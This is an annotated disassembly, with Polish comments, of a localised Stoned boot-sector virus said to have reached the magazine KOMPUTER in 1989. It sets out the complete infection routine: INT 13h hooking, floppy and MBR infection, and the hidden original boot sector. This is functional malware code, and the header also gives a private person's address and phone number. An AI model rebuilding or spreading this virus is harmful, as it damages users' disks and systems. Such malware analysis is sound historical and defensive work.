;----------------------------------------------------------------------------
; Wirus dostarczony Grzegorzowi Eiderowi do redakcji  KOMPUTERA w po’owie 
; listopada 1989. Dostawc† jest u§ytkownik z Wiednia:
;
;   Karol Grabski 
;   Vien 
;   Krummgasse 3/18 
;   tel. 7133735 
;
; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS 
; Wirus ma spolszczony komunikat! Oryginalny jest chyba d’u§szy i nawi†zuje
; do legalizacji marihuany
; 
; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do 
; ostatniego sektora zajmowanego przez katalog g’˘wny dyskietki.
; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a 
; orygina’ chowa do 7 sektora žcie§ki 0, strona 0 (czyli poza zasi‘giem DOS)
;-----------------------------------------------------------------------------

; PostaŤ wirusa bezpožrednio po wczytaniu do pami‘ci z dyskietki

; bajty identyfikuj†ce wirusa (w jego w’asnym autotežcie)

07C0:0000 EA0500C007    JMP     07C0:0005  ; skok do nast‘pnej instrukcji
07C0:0005 E99900        JMP     00A1

; normalnie w tym obszarze s† dane dyskietki, ten wirus, jak widaŤ, tym si‘
; nie przejmuje i traktuje ten obszar jako roboczy

07C0:0008  00             ; flaga 0 - oznacza start z dyskietki, 2 - z twardego
07C0:0009  69 A0 00 F0    ; oryginalny adres INT 13h
07C0:000D  E4 00 80 9F    ; adres wirusa w pami‘ci operacyjnej
07C0:0011  00 7C 00 00    ; address of boot sector in memory

;-------------------------------------------------------
; Nowa obs’uga INT 13h
;-------------------------------------------------------

07C0:0015 1E            PUSH    DS
07C0:0016 50            PUSH    AX
07C0:0017 80FC02        CMP     AH,02        ; poni§ej 'odczyt sektora'
07C0:001A 7217          JB      0033         ; nieciekawa funkcja

07C0:001C 80FC04        CMP     AH,04        ; powy§ej 'zapis sektora'
07C0:001F 7312          JAE     0033         ; nieciekawa funkcja

07C0:0021 0AD2          OR      DL,DL        ; nr dysku
07C0:0023 750E          JNZ     0033         ; r˘§ny od A

07C0:0025 33C0          XOR     AX,AX
07C0:0027 8ED8          MOV     DS,AX
07C0:0029 A03F04        MOV     AL,[043F]    ; diskette drive motor status
07C0:002C A801          TEST    AL,01        ; motor 1 on
07C0:002E 7503          JNZ     0033         ; nie tym razem
07C0:0030 E80700        CALL    003A
07C0:0033 58            POP     AX
07C0:0034 1F            POP     DS
07C0:0035 2E            CS:
07C0:0036 FF2E0900      JMP     FAR [0009]   ; oryginalne INT 13h

07C0:003A 53            PUSH    BX           ; przechowaj rejestry
07C0:003B 51            PUSH    CX
07C0:003C 52            PUSH    DX
07C0:003D 06            PUSH    ES
07C0:003E 56            PUSH    SI
07C0:003F 57            PUSH    DI

07C0:0040 BE0400        MOV     SI,0004      ; licznik pr˘b
07C0:0043 B80102        MOV     AX,0201      ; odczyt sektora
07C0:0046 0E            PUSH    CS
07C0:0047 07            POP     ES
07C0:0048 BB0002        MOV     BX,0200      ; za w’asny kod
07C0:004B 33C9          XOR     CX,CX
07C0:004D 8BD1          MOV     DX,CX
07C0:004F 41            INC     CX           ; boot sektor dysku A ?
07C0:0050 9C            PUSHF
07C0:0051 2E            CS:
07C0:0052 FF1E0900      CALL    FAR [0009]   ; oryginalne INT 13h
07C0:0056 730E          JAE     0066         ; odczyt udany

07C0:0058 33C0          XOR     AX,AX        ; resetuj dysk
07C0:005A 9C            PUSHF
07C0:005B 2E            CS:
07C0:005C FF1E0900      CALL    FAR [0009]   ; oryginalne INT 13h
07C0:0060 4E            DEC     SI
07C0:0061 75E0          JNZ     0043         ; ponawiaj pr˘b‘ odczytu

07C0:0063 EB35          JMP     009A         ; wycofujemy si‘
07C0:0065 90            NOP

07C0:0066 33F6          XOR     SI,SI        ; sprawd¦ czy zainfekowany?
07C0:0068 BF0002        MOV     DI,0200
07C0:006B FC            CLD
07C0:006C 0E            PUSH    CS
07C0:006D 1F            POP     DS
07C0:006E AD            LODSW
07C0:006F 3B05          CMP     AX,[DI]
07C0:0071 7506          JNZ     0079         ; jeszcze nie

07C0:0073 AD            LODSW
07C0:0074 3B4502        CMP     AX,[DI+02]
07C0:0077 7421          JZ      009A         ; wycofuj si‘

; infekcja dyskietki

07C0:0079 B80103        MOV     AX,0301      ; zapisuj sektor na dysk
07C0:007C BB0002        MOV     BX,0200      ; z ES:BX
07C0:007F B103          MOV     CL,03        ; do sektora 3
07C0:0081 B601          MOV     DH,01        ; na stronie 1
07C0:0083 9C            PUSHF                ; czyli ostatni sektor zajmowany
07C0:0084 2E            CS:                  ; przez 'root directory'
07C0:0085 FF1E0900      CALL    FAR [0009]   ; oryginalne INT 13h
07C0:0089 720F          JB      009A

07C0:008B B80103        MOV     AX,0301      ; zapisuj sektor na dysk
07C0:008E 33DB          XOR     BX,BX        ; ES:0 czyli wirusa
07C0:0090 B101          MOV     CL,01        ; sektor 0
07C0:0092 33D2          XOR     DX,DX        ; strona 0 dysk 0
07C0:0094 9C            PUSHF                ; czyli jako nowy 'boot sector'
07C0:0095 2E            CS:
07C0:0096 FF1E0900      CALL    FAR [0009]   ; oryginalne INT 13h

07C0:009A 5F            POP     DI           ; koniec žwi¤stw
07C0:009B 5E            POP     SI
07C0:009C 07            POP     ES
07C0:009D 5A            POP     DX
07C0:009E 59            POP     CX
07C0:009F 5B            POP     BX
07C0:00A0 C3            RET

;----------------------------------------
; kod startowy wirusa
;----------------------------------------

07C0:00A1 33C0          XOR     AX,AX       ; inicjuj rejestry i stos
07C0:00A3 8ED8          MOV     DS,AX
07C0:00A5 FA            CLI
07C0:00A6 8ED0          MOV     SS,AX
07C0:00A8 BC007C        MOV     SP,7C00

07C0:00AB FB            STI
07C0:00AC A14C00        MOV     AX,[004C]   ; odczyt wektora INT 13h
07C0:00AF A3097C        MOV     [7C09],AX
07C0:00B2 A14E00        MOV     AX,[004E]
07C0:00B5 A30B7C        MOV     [7C0B],AX
07C0:00B8 A11304        MOV     AX,[0413]   ; rozmiar pami‘ci operacyjnej w KB
07C0:00BB 48            DEC     AX          ; szykuj miejsce dla wirusa
07C0:00BC 48            DEC     AX
07C0:00BD A31304        MOV     [0413],AX   ; informacja dla DOS

07C0:00C0 B106          MOV     CL,06       ; przelicz na paragrafy
07C0:00C2 D3E0          SHL     AX,CL
07C0:00C4 8EC0          MOV     ES,AX       ; segment wirusa 
07C0:00C6 A30F7C        MOV     [7C0F],AX   ; zapami‘taj segment wirusa
07C0:00C9 B81500        MOV     AX,0015     ; offset nowej obs’ugi INT 13h
07C0:00CC A34C00        MOV     [004C],AX
07C0:00CF 8C064E00      MOV     [004E],ES   ; segment nowej obs’ugi INT 13h

07C0:00D3 B9B801        MOV     CX,01B8     ; przesu¤ kod wirusa
07C0:00D6 0E            PUSH    CS          ; ma to na celu instalacj‘
07C0:00D7 1F            POP     DS          ; cz‘žci rezydentnej
07C0:00D8 33F6          XOR     SI,SI       ; w ko¤cu pami‘ci operacyjnej
07C0:00DA 8BFE          MOV     DI,SI
07C0:00DC FC            CLD
07C0:00DD F3            REPZ
07C0:00DE A4            MOVSB
07C0:00DF 2E            CS:
07C0:00E0 FF2E0D00      JMP     FAR [000D]  ; skok do przesuni‘tego kodu 

; czyli tutaj

07C0:00E4 B80000        MOV     AX,0000     ; resetuj dysk
07C0:00E7 CD13          INT     13

07C0:00E9 33C0          XOR     AX,AX       ; zeruj ES
07C0:00EB 8EC0          MOV     ES,AX
07C0:00ED B80102        MOV     AX,0201     ; czytaj 1 sektor
07C0:00F0 BB007C        MOV     BX,7C00     ; do ES:BX (0:7C00)
07C0:00F3 2E            CS:
07C0:00F4 803E080000    CMP     BYTE PTR [0008],00 ;test flagi (z dyskietki?)
07C0:00F9 740B          JZ      0106        ; sprawdzaj flopa

07C0:00FB B90700        MOV     CX,0007     ; numer sektora ze strony 0
07C0:00FE BA8000        MOV     DX,0080     ; pierwszy twardy dysk
07C0:0101 CD13          INT     13          ; tam jest oryginalny boot sektor
07C0:0103 EB49          JMP     014E        ; koniec dzia’alnožci wirusa
07C0:0105 90            NOP

07C0:0106 B90300        MOV     CX,0003  ; sektor nr 3 žcie§ka 0
07C0:0109 BA0001        MOV     DX,0100  ; strona 1 dysk nr 0 (A)
07C0:010C CD13          INT     13
07C0:010E 723E          JB      014E     ; koniec dzia’alnožci wirusa

;-----------------------------------------------------------------
; komunikat "Tw˘j PC jest teraz be!" wraz z sygna’em d¦wi‘kowym 
;-----------------------------------------------------------------

07C0:0110 26            ES:
07C0:0111 F6066C0407    TEST    BYTE PTR [046C],07  ; m’odsze s’owo zegara
07C0:0116 7512          JNZ     012A                ; pomijaj komunikat

07C0:0118 BE8901        MOV     SI,0189   ; adres komunikatu
07C0:011B 0E            PUSH    CS
07C0:011C 1F            POP     DS

07C0:011D AC            LODSB            ; drukowanie komunikatu (ASCIIZ)
07C0:011E 0AC0          OR      AL,AL
07C0:0120 7408          JZ      012A

07C0:0122 B40E          MOV     AH,0E    ; write character (TTY mode)
07C0:0124 B700          MOV     BH,00    ; numer strony video
07C0:0126 CD10          INT     10
07C0:0128 EBF3          JMP     011D     ; pobierz nast‘pny znak

;---------------------------------------------------
; kontrola czy twardy dysk systemowy jest czysty?
;---------------------------------------------------

07C0:012A 0E            PUSH    CS
07C0:012B 07            POP     ES
07C0:012C B80102        MOV     AX,0201    ; czytaj 1 sektor dysku
07C0:012F BB0002        MOV     BX,0200    ; do ES:BX za wirusa
07C0:0132 B101          MOV     CL,01      ; numer sektora
07C0:0134 BA8000        MOV     DX,0080    ; pierwszy twardy dysk, strona 0
07C0:0137 CD13          INT     13
07C0:0139 7213          JB      014E       ; problemy!

07C0:013B 0E            PUSH    CS         ; sprawdzaj czy ju§ zainfekowany
07C0:013C 1F            POP     DS
07C0:013D BE0002        MOV     SI,0200
07C0:0140 BF0000        MOV     DI,0000
07C0:0143 AD            LODSW
07C0:0144 3B05          CMP     AX,[DI]
07C0:0146 7511          JNZ     0159

07C0:0148 AD            LODSW
07C0:0149 3B4502        CMP     AX,[DI+02]
07C0:014C 750B          JNZ     0159

;-----------------------------------------------------
; koniec akcji, kontynuuj w’ažciwy bootstrap
;-----------------------------------------------------

07C0:014E 2E            CS:
07C0:014F C606080000    MOV     BYTE PTR [0008],00  ; flaga 'z dyskietki'
07C0:0154 2E            CS:
07C0:0155 FF2E1100      JMP     FAR [0011]          ; kontynuuj bootstrap

;------------------------------------------------
; infekuj pierwszy twardy dysk
;------------------------------------------------

07C0:0159 2E            CS:
07C0:015A C606080002    MOV     BYTE PTR [0008],02  ; flaga  'z twardego'
07C0:015F B80103        MOV     AX,0301     ; zapisz 1 sektor dyskowy
07C0:0162 BB0002        MOV     BX,0200     ; ES:BX sk†d
07C0:0165 B90700        MOV     CX,0007     ; do sektora nr 7
07C0:0168 BA8000        MOV     DX,0080     ; strona 0 pierwszego dysku twardego
07C0:016B CD13          INT     13
07C0:016D 72DF          JB      014E        ; problemy!

07C0:016F 0E            PUSH    CS          ; uzupe’nij wirusa wczytanym kodem
07C0:0170 1F            POP     DS          ; czyli tablicami partycji dysku
07C0:0171 0E            PUSH    CS
07C0:0172 07            POP     ES
07C0:0173 BEBE03        MOV     SI,03BE
07C0:0176 BFBE01        MOV     DI,01BE
07C0:0179 B94202        MOV     CX,0242
07C0:017C F3            REPZ
07C0:017D A4            MOVSB
07C0:017E B80103        MOV     AX,0301     ; zapisz na dysk
07C0:0181 33DB          XOR     BX,BX       ; ES:0 sk†d (ca’y wirus)
07C0:0183 FEC1          INC     CL          ; CL := 1 numer sektora 
07C0:0185 CD13          INT     13
07C0:0187 EBC5          JMP     014E        ; koniec

07C0:0189                             07 54 77 A2 6A 20 50            .Tw˘j P
07C0:0190  43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21   C jest teraz be!
07C0:01A0  07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41   .....LEGALISE MA
07C0:01B0  52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00   RIJUANA?........
           * 0004 Lines Of 00 Skipped *
07C0:0200  00 00 00 00 00 00 00 00-00                        .........

; Brak oznakowania ko¤ca sektora! (55AA)